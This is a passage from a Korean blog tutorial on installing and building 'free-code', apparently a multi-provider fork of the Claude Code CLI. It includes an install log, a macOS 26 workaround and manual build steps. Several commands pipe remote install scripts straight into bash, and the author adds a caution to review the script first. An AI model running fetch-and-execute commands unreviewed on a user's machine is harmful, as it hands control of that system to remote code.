&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_USE_BEDROCK=1&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;AWS 자격증명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Google Vertex AI&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_USE_VERTEX=1&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;gcloud ADC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Anthropic Foundry&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_USE_FOUNDRY=1&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전용 API 키&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 free-code는 Claude 모델만 쓰는 포크가 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널 UX는 Claude Code 계열이지만, 환경변수 하나로 provider를 전환할 수 있어 멀티-provider 실험용 CLI로 쓸 수 있는 포크다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 설치 방법 &amp;mdash; README one-liner 실제 실행 흐름&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;README가 제시하는 기본 설치는 다음 one-liner다. (직접 실행 검증: 2026-04-12, Darwin arm64)&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;curl -fsSL https://raw.githubusercontent.com/paoloanzn/free-code/main/install.sh | bash&lt;/code&gt;&lt;/pre&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhIlvK/dJMcaibTEhq/m5hmnsUb3qlpDEbwg9yC50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhIlvK/dJMcaibTEhq/m5hmnsUb3qlpDEbwg9yC50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhIlvK/dJMcaibTEhq/m5hmnsUb3qlpDEbwg9yC50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhIlvK%2FdJMcaibTEhq%2Fm5hmnsUb3qlpDEbwg9yC50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1100&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 보안 노트 --&gt;
&lt;div style=&quot;background-color: #fff8e1; border-left: 4px solid #f0a500; padding: 15px; margin: 0 0 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보안 참고사항 (curl | bash 패턴)&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 패턴은 스크립트 내용을 실행 전 검토할 수 없다. 실행 전 내용을 먼저 확인하고 싶다면 아래 방식을 쓴다.&lt;/p&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 12px; border-radius: 6px; overflow-x: auto; margin: 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;curl -fsSL https://raw.githubusercontent.com/paoloanzn/free-code/main/install.sh -o install.sh
cat install.sh   # 내용 확인
bash install.sh  # 이상 없으면 실행&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) curl&amp;nbsp;-fsSL&amp;nbsp;&lt;a href=&quot;https://raw.githubusercontent.com/paoloanzn/free-code/main/install.sh&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://raw.githubusercontent.com/paoloanzn/free-code/main/install.sh&lt;/a&gt;&amp;nbsp;|&amp;nbsp;bash&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1458&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cffdd4/dJMcafM1dzq/qdaBR80SBCgeXRpvNr9oW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cffdd4/dJMcafM1dzq/qdaBR80SBCgeXRpvNr9oW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cffdd4/dJMcafM1dzq/qdaBR80SBCgeXRpvNr9oW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcffdd4%2FdJMcafM1dzq%2FqdaBR80SBCgeXRpvNr9oW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;602&quot; height=&quot;441&quot; data-origin-width=&quot;1458&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.1 실제 설치 흐름 (직접 실행 기준)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/paoloanzn/free-code/main/install.sh&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;install.sh&lt;/a&gt;를 직접 실행하면 다음 5단계가 자동으로 처리된다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;단계&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;실제 결과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;① OS/환경 체크&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;OS, git, bun 버전 확인&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Darwin arm64, git 2.52.0 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;② Bun 자동 업그레이드&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;1.3.11+ 미충족 시 자동 업그레이드&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;v1.3.5 &amp;rarr; &lt;b&gt;v1.3.12&lt;/b&gt; 자동 업그레이드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;③ 저장소 clone&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', monospace;&quot;&gt;~/free-code&lt;/code&gt;로 clone&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;정상 clone 완료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;④ 의존성 설치 + 빌드&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', monospace;&quot;&gt;bun install&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: #f1f3f5; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', monospace;&quot;&gt;build:dev:full&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;564 packages, 5689 modules, ~5초 빌드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;⑤ PATH 심링크&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', monospace;&quot;&gt;~/.local/bin/free-code&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;심링크 자동 생성 완료&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포인트: &lt;b&gt;Bun 버전을 미리 맞출 필요가 없다.&lt;/b&gt; 스크립트가 1.3.11+ 미충족 시 자동으로 업그레이드한다. 기존 bun이 없어도 신규 설치해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 실제 설치 로그 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.2 실제 설치 로그 (2026-04-12, Darwin arm64)&lt;/h3&gt;
&lt;pre class=&quot;gams&quot; style=&quot;background: #0d1117; color: #c9d1d9; font-family: 'Fira Code', 'Consolas', monospace; padding: 18px; border-radius: 8px; overflow-x: auto; margin: 15px 0; font-size: 13px; line-height: 1.6;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;[*] Starting installation...
[+] OS: Darwin arm64
[+] git: git version 2.52.0
[!] bun v1.3.5 found but v1.3.11+ required. Upgrading...
    &amp;rarr; bun was installed successfully to ~/.bun/bin/bun
[+] bun: v1.3.12 (just installed)

[*] Cloning repository...
    Cloning into '/Users/gdh/free-code'...
[+] Source: /Users/gdh/free-code

[*] Installing dependencies...
    564 packages installed [5.65s]
[+] Dependencies installed

[*] Building free-code (all experimental features enabled)...
    $ bun run ./scripts/build.ts --dev --feature-set=dev-full
    [288ms]  minify  -33.28 MB (estimate)
    [4.513s]  bundle  5689 modules
    [434ms]  compile ./cli-dev
    Built ./cli-dev
[+] Binary built: /Users/gdh/free-code/cli-dev
[+] Symlinked: /Users/gdh/.local/bin/free-code

  Installation complete!

  Run it:
    free-code                          # interactive REPL
    free-code -p &quot;your prompt&quot;         # one-shot mode

  Set your API key:
    export ANTHROPIC_API_KEY=&quot;sk-ant-...&quot;

  Or log in with Claude.ai:
    free-code /login

  Source: /Users/gdh/free-code
  Binary: /Users/gdh/free-code/cli-dev
  Link:   ~/.local/bin/free-code&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.3 설치 후 진입점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치가 끝나면 다음 두 경로 중 하나로 시작한다. &lt;b&gt;어떤 provider를 쓸지 결정하는 단계&lt;/b&gt;가 이후 로그인 방식과 모델 선택을 좌우한다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 16px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Anthropic 기본 경로&lt;/b&gt; &amp;mdash; &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;export ANTHROPIC_API_KEY=&quot;sk-ant-...&quot;&lt;/code&gt; 후 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Claude.ai OAuth 경로&lt;/b&gt; &amp;mdash; &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code /login&lt;/code&gt;으로 브라우저 OAuth 진행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;멀티 provider 경로&lt;/b&gt; &amp;mdash; 환경변수로 provider 지정 후 실행 (6절 참조)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;혹시 정상 설치가 되었다면, 4~5번ㅇ느 넘어 가도 좋다. 예전 초창기에 오류 때문에 4~5번의 섹션을 추가 해 두었다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 설치 실패시 알아두면 좋은 것들( 나의 경우 에러 상황이 많아 기록 )&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재(2026-04-12 기준) GitHub API 기준 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;disabled: false&lt;/code&gt;로 저장소는 정상 접근 가능하다. one-liner를 그대로 실행하면 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f8e8; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고 (과거 이슈):&lt;/b&gt; 2026-04-02 시점에는 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;git clone&lt;/code&gt;이 403 disabled로 실패하는 상황이 있었다. 현재는 복구됐지만, 이 저장소는 외부 압력에 따라 접근이 제한될 가능성을 배제하기 어렵다. 중요한 실험 환경에 쓸 예정이라면 clone 직후 로컬 백업을 해두는 편이 안전하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;README는 GitHub 외에 IPFS mirror도 함께 제공한다. Filecoin을 통해 영구 보관된 스냅샷이다. GitHub clone이 다시 막히는 상황을 대비한 fallback으로 볼 수 있지만, &lt;b&gt;이 mirror가 buildable full repo인지는 별도로 확인이 필요하다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- macOS 26 트러블슈팅 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 macOS 26 (Tahoe)에서 컴파일 바이너리가 즉시 종료되는 문제&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #f0a500; padding: 15px; margin: 0 0 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;증상:&lt;/b&gt; &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code /login&lt;/code&gt; 실행 시 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;[1] killed&lt;/code&gt;로 즉시 종료 (exit code 137 = SIGKILL)&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;환경:&lt;/b&gt; macOS 26.1 (Tahoe, Darwin 25.1.0) &amp;mdash; 2026-04-12 직접 확인&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;install.sh가 생성하는 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;cli-dev&lt;/code&gt;는 Bun의 컴파일 바이너리(180MB 단일 실행파일)다. &lt;br /&gt;macOS 26에서 이 바이너리는 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;--version&lt;/code&gt;조차 실행되지 않고 SIGKILL로 종료된다. 리빌드해도 동일하다. Bun 컴파일 바이너리와 macOS 26의 호환성 문제로 보인다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결책: 컴파일 바이너리 대신 bun source 모드 wrapper로 교체한다.&lt;/b&gt; 아래 명령으로 심링크를 wrapper 스크립트로 대체하면 된다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;cat &amp;gt; ~/.local/bin/free-code &amp;lt;&amp;lt; 'EOF'
#!/bin/zsh
cd ~/free-code &amp;amp;&amp;amp; exec bun run ./src/entrypoints/cli.tsx &quot;$@&quot;
EOF
chmod +x ~/.local/bin/free-code&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적용 후 동작 확인:&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;free-code --version
# &amp;rarr; 2.1.87-dev (Claude Code)&lt;/code&gt;&lt;/pre&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;방식&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;macOS 26&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;컴파일 바이너리 (&lt;code style=&quot;background: #f1f3f5; padding: 2px 5px; border-radius: 3px; font-family: 'Fira Code', monospace;&quot;&gt;cli-dev&lt;/code&gt;)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; color: #c0392b;&quot;&gt;(exit 137)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;install.sh 기본 결과물&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;bun source 모드 wrapper&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; color: #27ae60;&quot;&gt;정상 동작&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;위 스크립트로 교체 후&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 수동 설치/빌드 방법 &amp;mdash; one-liner 대신 직접 빌드하려면&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.1 Bun 준비&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;install.sh 기준 최소 요구사항은 Bun 1.3.11 이상이다.&lt;/p&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;curl -fsSL https://bun.sh/install | bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.2 소스 확보&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재는 정상적으로 clone 가능하다.&lt;/p&gt;
&lt;pre class=&quot;crmsh&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;git clone https://github.com/paoloanzn/free-code.git
cd free-code&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 저장소는 IPFS mirror(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://w3s.link/ipfs/bafybeiegvef3dt24n2znnnmzcud2vxat7y7rl5ikz7y7yoglxappim54bm&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;w3s.link gateway&lt;/a&gt;)도 함께 제공한다. Filecoin을 통해 영구 보관된 스냅샷으로, GitHub 접근이 막힐 경우의 fallback이다. 다만 &lt;b&gt;이 mirror가 곧바로 빌드 가능한 full repo인지는 별도로 확인이 필요하다.&lt;/b&gt; 가장 확실한 방법은 지금 clone 후 로컬에 백업해 두는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;README가 IPFS mirror를 숨겨둔 링크가 아니라 문서에 명시해뒀다는 점 자체가, &lt;b&gt;저장소 접근 제한 가능성을 프로젝트가 어느 정도 예상하고 있다&lt;/b&gt;는 신호로 읽힌다. 이 도구를 중요한 환경에서 쓸 계획이라면 clone 직후 백업을 권장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.3 빌드&lt;/h3&gt;
&lt;pre class=&quot;mipsasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;bun install
bun run build:dev:full&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빌드 완료 후 아래 명령으로 파일이 생성됐는지 먼저 확인한다. 이 파일이 없으면 build:dev:full이 완료되지 않은 것이다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;ls -l ./cli-dev&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 빌드는 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;./cli-dev&lt;/code&gt;를 만들고, working experimental features bundle 전체를 켠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.4 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;링크 예시는 두 경로를 분리해서 보는 편이 안전하다. install.sh가 성공한 경우 소스 디렉터리는 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;~/free-code&lt;/code&gt;일 가능성이 높다. 반면 수동 clone 빌드인 경우에는 현재 작업 디렉터리의 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;./cli-dev&lt;/code&gt;를 가리키는 편이 덜 헷갈린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수동 빌드 기준으로는 다음처럼 잡는 편이 안전하다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;mkdir -p ~/.local/bin
ln -sf &quot;$(pwd)/cli-dev&quot; ~/.local/bin/free-code
export PATH=&quot;$HOME/.local/bin:$PATH&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;export&lt;/code&gt;는 현재 세션에만 적용된다. 터미널을 새로 열어도 유지하려면 셸 설정 파일에 추가한다.&lt;/p&gt;
&lt;pre class=&quot;julia&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# zsh 사용 시
echo 'export PATH=&quot;$HOME/.local/bin:$PATH&quot;' &amp;gt;&amp;gt; ~/.zshrc

# bash 사용 시
